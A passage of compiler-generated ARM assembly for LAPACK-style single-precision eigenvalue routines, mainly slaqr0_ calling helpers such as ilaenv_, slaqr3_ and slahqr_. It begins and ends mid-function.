ldr r0, [fp, #-16] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L71
ldr r3, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-16] @ float
.L71:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L70:
ldr r2, [fp, #-12]
ldr r3, [fp, #-32]
cmp r2, r3
ble .L73
ldr r2, [fp, #-8]
ldr r3, [fp, #-28]
sub r3, r2, r3
add r3, r3, #1
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size smaxloc_, .-smaxloc_
.data
.align 2
.type c__13, %object
.size c__13, 4
c__13:
.word 13
.align 2
.type c__15, %object
.size c__15, 4
c__15:
.word 15
.align 2
.type c_n1, %object
.size c_n1, 4
c_n1:
.word -1
.align 2
.type c__12, %object
.size c__12, 4
c__12:
.word 12
.align 2
.type c__14, %object
.size c__14, 4
c__14:
.word 14
.align 2
.type c__16, %object
.size c__16, 4
c__16:
.word 16
.local c_false
.comm c_false,4,4
.align 2
.type c__1, %object
.size c__1, 4
c__1:
.word 1
.align 2
.type c__3, %object
.size c__3, 4
c__3:
.word 3
.section .rodata
.align 2
.LC2:
.ascii "SLAQR0\000"
.global __aeabi_f2iz
.global __aeabi_i2f
.global __aeabi_fcmpeq
.global __aeabi_fcmpge
.global __aeabi_fcmpgt
.global __aeabi_fadd
.align 2
.LC3:
.ascii "A\000"
.global __aeabi_fsub
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global slaqr0_
.syntax unified
.arm
.fpu softvfp
.type slaqr0_, %function
slaqr0_:
@ args = 48, pretend = 0, frame = 296
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #384
str r0, [fp, #-256]
str r1, [fp, #-260]
str r2, [fp, #-264]
str r3, [fp, #-268]
ldr r3, [fp, #4]
str r3, [fp, #-272]
ldr r3, [fp, #8]
str r3, [fp, #-276]
ldr r3, [fp, #12]
str r3, [fp, #-280]
ldr r3, [fp, #16]
str r3, [fp, #-284]
ldr r3, [fp, #20]
str r3, [fp, #-288]
ldr r3, [fp, #24]
str r3, [fp, #-292]
ldr r3, [fp, #28]
str r3, [fp, #-296]
ldr r3, [fp, #32]
str r3, [fp, #-300]
ldr r3, [fp, #36]
str r3, [fp, #-304]
ldr r3, [fp, #40]
str r3, [fp, #-308]
ldr r3, [fp, #44]
str r3, [fp, #-312]
ldr r3, [fp, #48]
str r3, [fp, #-316]
ldr r3, .L192
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
ldr r3, [fp, #-280]
ldr r3, [r3]
str r3, [fp, #-152]
ldr r3, [fp, #-152]
add r3, r3, #1
str r3, [fp, #-148]
ldr r3, [fp, #-148]
lsl r3, r3, #2
rsb r3, r3, #0
ldr r2, [fp, #-276]
add r3, r2, r3
str r3, [fp, #-276]
ldr r3, [fp, #-284]
sub r3, r3, #4
str r3, [fp, #-284]
ldr r3, [fp, #-288]
sub r3, r3, #4
str r3, [fp, #-288]
ldr r3, [fp, #-304]
ldr r3, [r3]
str r3, [fp, #-144]
ldr r3, [fp, #-144]
add r3, r3, #1
str r3, [fp, #-140]
ldr r3, [fp, #-140]
lsl r3, r3, #2
rsb r3, r3, #0
ldr r2, [fp, #-300]
add r3, r2, r3
str r3, [fp, #-300]
ldr r3, [fp, #-308]
sub r3, r3, #4
str r3, [fp, #-308]
ldr r3, [fp, #-316]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-264]
ldr r3, [r3]
cmp r3, #0
bne .L77
ldr r3, [fp, #-308]
add r3, r3, #4
mov r2, #1065353216
str r2, [r3] @ float
mov r3, #0
b .L160
.L77:
ldr r3, [fp, #-264]
ldr r3, [r3]
cmp r3, #15
bgt .L79
mov r3, #1
str r3, [fp, #-156]
ldr r3, [fp, #-312]
ldr r3, [r3]
cmn r3, #1
beq .L80
ldr r3, [fp, #-148]
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r2, [fp, #-284]
add r2, r2, #4
ldr r1, [fp, #-288]
add r1, r1, #4
ldr r0, [fp, #-140]
lsl r0, r0, #2
ldr ip, [fp, #-300]
add r0, ip, r0
ldr ip, [fp, #-316]
str ip, [sp, #36]
ldr ip, [fp, #-304]
str ip, [sp, #32]
str r0, [sp, #28]
ldr r0, [fp, #-296]
str r0, [sp, #24]
ldr r0, [fp, #-292]
str r0, [sp, #20]
str r1, [sp, #16]
str r2, [sp, #12]
ldr r2, [fp, #-280]
str r2, [sp, #8]
str r3, [sp, #4]
ldr r3, [fp, #-272]
str r3, [sp]
ldr r3, [fp, #-268]
ldr r2, [fp, #-264]
ldr r1, [fp, #-260]
ldr r0, [fp, #-256]
bl slahqr_
b .L80
.L79:
ldr r3, [fp, #-316]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-256]
ldr r3, [r3]
cmp r3, #0
beq .L81
sub r3, fp, #28
mov r2, #83
strb r2, [r3]
b .L82
.L81:
sub r3, fp, #28
mov r2, #69
strb r2, [r3]
.L82:
ldr r3, [fp, #-260]
ldr r3, [r3]
cmp r3, #0
beq .L83
sub r3, fp, #28
add r3, r3, #1
mov r2, #86
strb r2, [r3]
b .L84
.L83:
sub r3, fp, #28
add r3, r3, #1
mov r2, #78
strb r2, [r3]
.L84:
sub r2, fp, #28
mov r3, #2
str r3, [sp, #16]
mov r3, #6
str r3, [sp, #12]
ldr r3, [fp, #-312]
str r3, [sp, #8]
ldr r3, [fp, #-272]
str r3, [sp, #4]
ldr r3, [fp, #-268]
str r3, [sp]
ldr r3, [fp, #-264]
ldr r1, .L192+4
ldr r0, .L192+8
bl ilaenv_
str r0, [fp, #-136]
ldr r3, [fp, #-136]
cmp r3, #2
movge r3, r3
movlt r3, #2
str r3, [fp, #-136]
ldr r3, [fp, #-272]
ldr r2, [r3]
ldr r3, [fp, #-268]
ldr r3, [r3]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-252]
ldr r3, [fp, #-264]
ldr r3, [r3]
sub r3, r3, #1
ldr r2, .L192+12
smull r1, r2, r3, r2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-132]
ldr r2, [fp, #-252]
ldr r3, [fp, #-132]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-252]
ldr r3, [fp, #-252]
ldr r2, [fp, #-136]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-136]
sub r2, fp, #28
mov r3, #2
str r3, [sp, #16]
mov r3, #6
str r3, [sp, #12]
ldr r3, [fp, #-312]
str r3, [sp, #8]
ldr r3, [fp, #-272]
str r3, [sp, #4]
ldr r3, [fp, #-268]
str r3, [sp]
ldr r3, [fp, #-264]
ldr r1, .L192+4
ldr r0, .L192+16
bl ilaenv_
str r0, [fp, #-128]
ldr r3, [fp, #-128]
str r3, [fp, #-252]
ldr r3, [fp, #-264]
ldr r3, [r3]
sub r3, r3, #3
ldr r2, .L192+20
smull r1, r2, r3, r2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-132]
ldr r2, [fp, #-252]
ldr r3, [fp, #-132]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-252]
ldr r3, [fp, #-272]
ldr r2, [r3]
ldr r3, [fp, #-268]
ldr r3, [r3]
sub r3, r2, r3
str r3, [fp, #-132]
ldr r3, [fp, #-252]
ldr r2, [fp, #-132]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-128]
mov r3, #2
str r3, [fp, #-252]
ldr r3, [fp, #-128]
cmp r3, #0
and r3, r3, #1
rsblt r3, r3, #0
ldr r2, [fp, #-128]
sub r3, r2, r3
str r3, [fp, #-132]
ldr r3, [fp, #-252]
ldr r2, [fp, #-132]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-128]
ldr r3, [fp, #-136]
add r3, r3, #1
str r3, [fp, #-252]
ldr r3, [fp, #-148]
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r2, [fp, #-140]
lsl r2, r2, #2
ldr r1, [fp, #-300]
add r2, r1, r2
ldr r1, [fp, #-284]
add r1, r1, #4
ldr r0, [fp, #-288]
add r0, r0, #4
ldr ip, [fp, #-148]
lsl ip, ip, #2
ldr lr, [fp, #-276]
add ip, lr, ip
ldr lr, [fp, #-148]
lsl lr, lr, #2
ldr r4, [fp, #-276]
add lr, r4, lr
ldr r4, [fp, #-148]
lsl r4, r4, #2
ldr r5, [fp, #-276]
add r4, r5, r4
ldr r5, [fp, #-308]
add r5, r5, #4
ldr r6, .L192+24
str r6, [sp, #84]
str r5, [sp, #80]
ldr r5, [fp, #-280]
str r5, [sp, #76]
str r4, [sp, #72]
ldr r4, [fp, #-264]
str r4, [sp, #68]
ldr r4, [fp, #-280]
str r4, [sp, #64]
str lr, [sp, #60]
ldr lr, [fp, #-264]
str lr, [sp, #56]
ldr lr, [fp, #-280]
str lr, [sp, #52]
str ip, [sp, #48]
str r0, [sp, #44]
str r1, [sp, #40]
sub r1, fp, #220
str r1, [sp, #36]
sub r1, fp, #208
str r1, [sp, #32]
ldr r1, [fp, #-304]
str r1, [sp, #28]
str r2, [sp, #24]
ldr r2, [fp, #-296]
str r2, [sp, #20]
ldr r2, [fp, #-292]
str r2, [sp, #16]
ldr r2, [fp, #-280]
str r2, [sp, #12]
str r3, [sp, #8]
sub r3, fp, #252
str r3, [sp, #4]
ldr r3, [fp, #-272]
str r3, [sp]
ldr r3, [fp, #-268]
ldr r2, [fp, #-264]
ldr r1, [fp, #-260]
ldr r0, [fp, #-256]
bl slaqr3_
ldr r2, [fp, #-128]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
str r3, [fp, #-252]
ldr r3, [fp, #-308]
add r3, r3, #4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2iz
mov r3, r0
str r3, [fp, #-132]
ldr r3, [fp, #-252]
ldr r2, [fp, #-132]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-156]
ldr r3, [fp, #-312]
ldr r3, [r3]
cmn r3, #1
bne .L85
ldr r3, [fp, #-308]
add r4, r3, #4
ldr r0, [fp, #-156]
bl __aeabi_i2f
mov r3, r0
str r3, [r4] @ float
mov r3, #0
b .L160
.L85:
sub r2, fp, #28
mov r3, #2
str r3, [sp, #16]
mov r3, #6
str r3, [sp, #12]
ldr r3, [fp, #-312]
str r3, [sp, #8]
ldr r3, [fp, #-272]
str r3, [sp, #4]
ldr r3, [fp, #-268]
str r3, [sp]
ldr r3, [fp, #-264]
ldr r1, .L192+4
ldr r0, .L192+28
bl ilaenv_
str r0, [fp, #-124]
ldr r3, [fp, #-124]
cmp r3, #15
movge r3, r3
movlt r3, #15
str r3, [fp, #-124]
sub r2, fp, #28
mov r3, #2
str r3, [sp, #16]
mov r3, #6
str r3, [sp, #12]
ldr r3, [fp, #-312]
str r3, [sp, #8]
ldr r3, [fp, #-272]
str r3, [sp, #4]
ldr r3, [fp, #-268]
str r3, [sp]
ldr r3, [fp, #-264]
ldr r1, .L192+4
ldr r0, .L192+32
bl ilaenv_
str r0, [fp, #-120]
ldr r3, [fp, #-120]
bic r3, r3, r3, asr #31
str r3, [fp, #-120]
sub r2, fp, #28
mov r3, #2
str r3, [sp, #16]
mov r3, #6
str r3, [sp, #12]
ldr r3, [fp, #-312]
str r3, [sp, #8]
ldr r3, [fp, #-272]
str r3, [sp, #4]
ldr r3, [fp, #-268]
str r3, [sp]
ldr r3, [fp, #-264]
ldr r1, .L192+4
ldr r0, .L192+36
bl ilaenv_
mov r3, r0
str r3, [fp, #-240]
ldr r3, [fp, #-240]
bic r3, r3, r3, asr #31
str r3, [fp, #-240]
ldr r3, [fp, #-240]
cmp r3, #2
movlt r3, r3
movge r3, #2
str r3, [fp, #-240]
ldr r3, [fp, #-264]
ldr r3, [r3]
sub r3, r3, #1
ldr r2, .L192+12
smull r1, r2, r3, r2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-252]
ldr r3, [fp, #-312]
ldr r3, [r3]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
str r3, [fp, #-132]
ldr r3, [fp, #-252]
ldr r2, [fp, #-132]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-116]
ldr r3, [fp, #-116]
str r3, [fp, #-200]
ldr r3, [fp, #-264]
ldr r3, [r3]
sub r3, r3, #3
ldr r2, .L192+20
smull r1, r2, r3, r2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-252]
ldr r3, [fp, #-312]
ldr r3, [r3]
lsl r3, r3, #1
ldr r2, .L192+12
smull r1, r2, r3, r2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-132]
ldr r3, [fp, #-252]
ldr r2, [fp, #-132]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-112]
ldr r3, [fp, #-112]
cmp r3, #0
and r3, r3, #1
rsblt r3, r3, #0
ldr r2, [fp, #-112]
sub r3, r2, r3
str r3, [fp, #-112]
mov r3, #1
str r3, [fp, #-180]
mov r3, #10
str r3, [fp, #-252]
ldr r3, [fp, #-272]
ldr r2, [r3]
ldr r3, [fp, #-268]
ldr r3, [r3]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-132]
ldr r2, [fp, #-252]
ldr r3, [fp, #-132]
cmp r2, r3
movge r2, r2
movlt r2, r3
mov r3, r2
lsl r3, r3, #4
sub r3, r3, r2
lsl r3, r3, #1
str r3, [fp, #-108]
ldr r3, [fp, #-272]
ldr r3, [r3]
str r3, [fp, #-248]
ldr r3, [fp, #-108]
str r3, [fp, #-252]
mov r3, #1
str r3, [fp, #-168]
b .L86
.L159:
ldr r3, [fp, #-268]
ldr r2, [r3]
ldr r3, [fp, #-248]
cmp r2, r3
bgt .L188
ldr r3, [fp, #-268]
ldr r3, [r3]
add r3, r3, #1
str r3, [fp, #-132]
ldr r3, [fp, #-248]
str r3, [fp, #-172]
b .L88
.L92:
ldr r3, [fp, #-172]
sub r3, r3, #1
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-172]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, #0
mov r0, r3
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L189
ldr r3, [fp, #-172]
sub r3, r3, #1
str r3, [fp, #-172]
.L88:
ldr r2, [fp, #-172]
ldr r3, [fp, #-132]
cmp r2, r3
bge .L92
ldr r3, [fp, #-268]
ldr r3, [r3]
str r3, [fp, #-172]
b .L91
.L189:
nop
.L91:
ldr r3, [fp, #-172]
str r3, [fp, #-244]
ldr r2, [fp, #-248]
ldr r3, [fp, #-244]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-104]
ldr r2, [fp, #-104]
ldr r3, [fp, #-116]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-100]
ldr r3, [fp, #-180]
cmp r3, #4
bgt .L93
ldr r2, [fp, #-100]
ldr r3, [fp, #-136]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-200]
b .L94
.L93:
ldr r3, [fp, #-100]
str r3, [fp, #-132]
ldr r3, [fp, #-200]
lsl r3, r3, #1
str r3, [fp, #-96]
ldr r2, [fp, #-132]
ldr r3, [fp, #-96]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-200]
.L94:
ldr r3, [fp, #-200]
ldr r2, [fp, #-116]
cmp r2, r3
ble .L95
ldr r3, [fp, #-104]
sub r2, r3, #1
ldr r3, [fp, #-200]
cmp r2, r3
bgt .L96
ldr r3, [fp, #-104]
str r3, [fp, #-200]
b .L95
.L96:
ldr r2, [fp, #-248]
ldr r3, [fp, #-200]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-92]
ldr r3, [fp, #-92]
sub r3, r3, #1
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-92]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-88] @ float
ldr r3, [fp, #-92]
sub r2, r3, #1
ldr r3, [fp, #-92]
sub r3, r3, #2
ldr r1, [fp, #-152]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-84] @ float
mov r1, #0
ldr r0, [fp, #-88] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L177
ldr r4, [fp, #-88] @ float
b .L99
.L177:
ldr r3, [fp, #-88]
eor r4, r3, #-2147483648
.L99:
mov r1, #0
ldr r0, [fp, #-84] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L178
ldr r3, [fp, #-84] @ float
b .L102
.L178:
ldr r3, [fp, #-84]
eor r3, r3, #-2147483648
.L102:
mov r1, r3
mov r0, r4
bl __aeabi_fcmpgt
mov r3, r0
cmp r3, #0
beq .L95
ldr r3, [fp, #-200]
add r3, r3, #1
str r3, [fp, #-200]
.L95:
ldr r3, [fp, #-180]
cmp r3, #4
bgt .L104
mvn r3, #0
str r3, [fp, #-184]
b .L105
.L104:
ldr r3, [fp, #-184]
cmp r3, #0
bge .L106
ldr r3, [fp, #-200]
ldr r2, [fp, #-100]
cmp r2, r3
bgt .L105
.L106:
ldr r3, [fp, #-184]
add r3, r3, #1
str r3, [fp, #-184]
ldr r2, [fp, #-200]
ldr r3, [fp, #-184]
sub r3, r2, r3
cmp r3, #1
bgt .L107
mov r3, #0
str r3, [fp, #-184]
.L107:
ldr r2, [fp, #-200]
ldr r3, [fp, #-184]
sub r3, r2, r3
str r3, [fp, #-200]
.L105:
ldr r3, [fp, #-264]
ldr r2, [r3]
ldr r3, [fp, #-200]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-80]
ldr r3, [fp, #-200]
add r3, r3, #1
str r3, [fp, #-76]
ldr r3, [fp, #-264]
ldr r2, [r3]
ldr r3, [fp, #-200]
sub r3, r2, r3
sub r2, r3, #1
ldr r3, [fp, #-76]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-192]
ldr r3, [fp, #-200]
add r3, r3, #2
str r3, [fp, #-72]
ldr r3, [fp, #-264]
ldr r2, [r3]
ldr r3, [fp, #-200]
sub r2, r2, r3
ldr r3, [fp, #-72]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-188]
ldr r3, [fp, #-148]
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r2, [fp, #-140]
lsl r2, r2, #2
ldr r1, [fp, #-300]
add r2, r1, r2
ldr r1, [fp, #-284]
add r1, r1, #4
ldr r0, [fp, #-288]
add r0, r0, #4
ldr lr, [fp, #-80]
ldr ip, [fp, #-152]
add ip, lr, ip
lsl ip, ip, #2
ldr lr, [fp, #-276]
add ip, lr, ip
ldr lr, [fp, #-76]
ldr r4, [fp, #-152]
mul r4, lr, r4
ldr lr, [fp, #-80]
add lr, r4, lr
lsl lr, lr, #2
ldr r4, [fp, #-276]
add lr, r4, lr
ldr r5, [fp, #-72]
ldr r4, [fp, #-152]
add r4, r5, r4
lsl r4, r4, #2
ldr r5, [fp, #-276]
add r4, r5, r4
ldr r5, [fp, #-308]
add r5, r5, #4
sub r7, fp, #244
ldr r6, [fp, #-312]
str r6, [sp, #84]
str r5, [sp, #80]
ldr r5, [fp, #-280]
str r5, [sp, #76]
str r4, [sp, #72]
sub r4, fp, #188
str r4, [sp, #68]
ldr r4, [fp, #-280]
str r4, [sp, #64]
str lr, [sp, #60]
sub lr, fp, #192
str lr, [sp, #56]
ldr lr, [fp, #-280]
str lr, [sp, #52]
str ip, [sp, #48]
str r0, [sp, #44]
str r1, [sp, #40]
sub r1, fp, #220
str r1, [sp, #36]
sub r1, fp, #208
str r1, [sp, #32]
ldr r1, [fp, #-304]
str r1, [sp, #28]
str r2, [sp, #24]
ldr r2, [fp, #-296]
str r2, [sp, #20]
ldr r2, [fp, #-292]
str r2, [sp, #16]
ldr r2, [fp, #-280]
str r2, [sp, #12]
str r3, [sp, #8]
sub r3, fp, #200
str r3, [sp, #4]
sub r3, fp, #248
str r3, [sp]
mov r3, r7
ldr r2, [fp, #-264]
ldr r1, [fp, #-260]
ldr r0, [fp, #-256]
bl slaqr3_
ldr r2, [fp, #-248]
ldr r3, [fp, #-220]
sub r3, r2, r3
str r3, [fp, #-248]
ldr r2, [fp, #-248]
ldr r3, [fp, #-208]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-220]
cmp r3, #0
beq .L108
ldr r2, [fp, #-220]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r2, r3, #2
add r3, r3, r2
lsl r3, r3, #2
mov r1, r3
ldr r3, [fp, #-200]
ldr r2, [fp, #-120]
mul r3, r2, r3
cmp r1, r3
bgt .L109
ldr r2, [fp, #-248]
ldr r3, [fp, #-244]
sub r1, r2, r3
ldr r2, [fp, #-124]
ldr r3, [fp, #-116]
cmp r2, r3
movlt r3, r2
movge r3, r3
cmp r1, r3
blt .L109
.L108:
mov r3, #2
str r3, [fp, #-68]
ldr r2, [fp, #-248]
ldr r3, [fp, #-244]
sub r3, r2, r3
str r3, [fp, #-64]
ldr r2, [fp, #-112]
ldr r3, [fp, #-128]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-132]
ldr r2, [fp, #-68]
ldr r3, [fp, #-64]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-96]
ldr r2, [fp, #-132]
ldr r3, [fp, #-96]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-204]
ldr r2, [fp, #-204]
ldr r3, [fp, #-204]
cmp r3, #0
and r3, r3, #1
rsblt r3, r3, #0
sub r3, r2, r3
str r3, [fp, #-204]
ldr r1, [fp, #-180]
ldr r3, .L192+20
smull r0, r2, r3, r1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #1
sub r2, r1, r3
cmp r2, #0
bne .L110
ldr r2, [fp, #-248]
ldr r3, [fp, #-204]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-164]
add r3, r3, #1
str r3, [fp, #-96]
ldr r3, [fp, #-244]
add r3, r3, #2
str r3, [fp, #-68]
ldr r2, [fp, #-96]
ldr r3, [fp, #-68]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-132]
ldr r3, [fp, #-248]
str r3, [fp, #-176]
b .L111
.L118:
ldr r3, [fp, #-176]
sub r3, r3, #1
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-176]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-88] @ float
ldr r3, [fp, #-176]
sub r2, r3, #1
ldr r3, [fp, #-176]
sub r3, r3, #2
ldr r1, [fp, #-152]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-84] @ float
mov r1, #0
ldr r0, [fp, #-88] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L179
ldr r4, [fp, #-88] @ float
b .L114
.L179:
ldr r3, [fp, #-88]
eor r4, r3, #-2147483648
.L114:
mov r1, #0
ldr r0, [fp, #-84] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L180
ldr r3, [fp, #-84] @ float
b .L117
.L180:
ldr r3, [fp, #-84]
eor r3, r3, #-2147483648
.L117:
mov r1, r3
mov r0, r4
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-48] @ float
mov r1, #1061158912
ldr r0, [fp, #-48] @ float
bl __aeabi_fmul
mov r3, r0
mov r0, r3
ldr r3, [fp, #-176]
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-176]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-236] @ float
ldr r3, [fp, #-48] @ float
str r3, [fp, #-232] @ float
ldr r1, .L192+40
ldr r0, [fp, #-48] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-228] @ float
ldr r3, [fp, #-236] @ float
str r3, [fp, #-224] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r2, [fp, #-176]
sub r2, r2, #-1073741823
lsl r2, r2, #2
ldr r1, [fp, #-288]
add r2, r1, r2
ldr r1, [fp, #-176]
lsl r1, r1, #2
ldr r0, [fp, #-284]
add r1, r0, r1
ldr r0, [fp, #-176]
lsl r0, r0, #2
ldr ip, [fp, #-288]
add r0, ip, r0
sub r6, fp, #224
sub r5, fp, #228
sub r4, fp, #232
sub lr, fp, #236
sub ip, fp, #212
str ip, [sp, #20]
sub ip, fp, #216
str ip, [sp, #16]
str r0, [sp, #12]
str r1, [sp, #8]
str r2, [sp, #4]
str r3, [sp]
mov r3, r6
mov r2, r5
mov r1, r4
mov r0, lr
bl slanv2_
ldr r3, [fp, #-176]
sub r3, r3, #2
str r3, [fp, #-176]
.L111:
ldr r2, [fp, #-176]
ldr r3, [fp, #-132]
cmp r2, r3
bge .L118
ldr r3, [fp, #-244]
ldr r2, [fp, #-164]
cmp r2, r3
bne .L119
ldr r3, [fp, #-164]
add r2, r3, #1
ldr r3, [fp, #-164]
add r3, r3, #1
ldr r1, [fp, #-152]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r2, r2, r3
ldr r3, [fp, #-164]
add r3, r3, #1
lsl r3, r3, #2
ldr r1, [fp, #-284]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-164]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
mov r2, #0
str r2, [r3] @ float
ldr r3, [fp, #-164]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r2, r2, r3
ldr r3, [fp, #-164]
lsl r3, r3, #2
ldr r1, [fp, #-284]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-164]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r2, r2, r3
ldr r3, [fp, #-164]
lsl r3, r3, #2
ldr r1, [fp, #-288]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
b .L119
.L193:
.align 2
.L192:
.word .LC4
.word .LC2
.word c__13
.word 1431655766
.word c__15
.word 715827883
.word c_n1
.word c__12
.word c__14
.word c__16
.word -1092616192
.word .LC3
.word c__1
.word c_false
.word c__3
.word .LC4
.L110:
ldr r2, [fp, #-248]
ldr r3, [fp, #-164]
sub r2, r2, r3
ldr r3, [fp, #-204]
lsr r1, r3, #31
add r3, r1, r3
asr r3, r3, #1
cmp r2, r3
bge .L120
ldr r2, [fp, #-248]
ldr r3, [fp, #-204]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-264]
ldr r2, [r3]
ldr r3, [fp, #-204]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-76]
ldr r3, [fp, #-164]
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-164]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add ip, r2, r3
ldr r2, [fp, #-76]
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
sub r0, fp, #204
sub r1, fp, #204
ldr r2, [fp, #-280]
str r2, [sp, #8]
str r3, [sp, #4]
ldr r3, [fp, #-280]
str r3, [sp]
mov r3, ip
mov r2, r0
ldr r0, .L192+44
bl slacpy_
ldr r3, [fp, #-204]
ldr r2, [fp, #-124]
cmp r2, r3
bge .L121
ldr r2, [fp, #-76]
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r2, [fp, #-164]
lsl r2, r2, #2
ldr r1, [fp, #-284]
add r2, r1, r2
ldr r1, [fp, #-164]
lsl r1, r1, #2
ldr r0, [fp, #-288]
add r1, r0, r1
ldr r0, [fp, #-308]
add r0, r0, #4
sub lr, fp, #204
sub ip, fp, #196
str ip, [sp, #44]
ldr ip, [fp, #-312]
str ip, [sp, #40]
str r0, [sp, #36]
ldr r0, .L192+48
str r0, [sp, #32]
sub r0, fp, #32
str r0, [sp, #28]
ldr r0, .L192+48
str r0, [sp, #24]
ldr r0, .L192+48
str r0, [sp, #20]
str r1, [sp, #16]
str r2, [sp, #12]
ldr r2, [fp, #-280]
str r2, [sp, #8]
str r3, [sp, #4]
sub r3, fp, #204
str r3, [sp]
ldr r3, .L192+48
mov r2, lr
ldr r1, .L192+52
ldr r0, .L192+52
bl slaqr4_
b .L122
.L121:
ldr r2, [fp, #-76]
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r2, [fp, #-164]
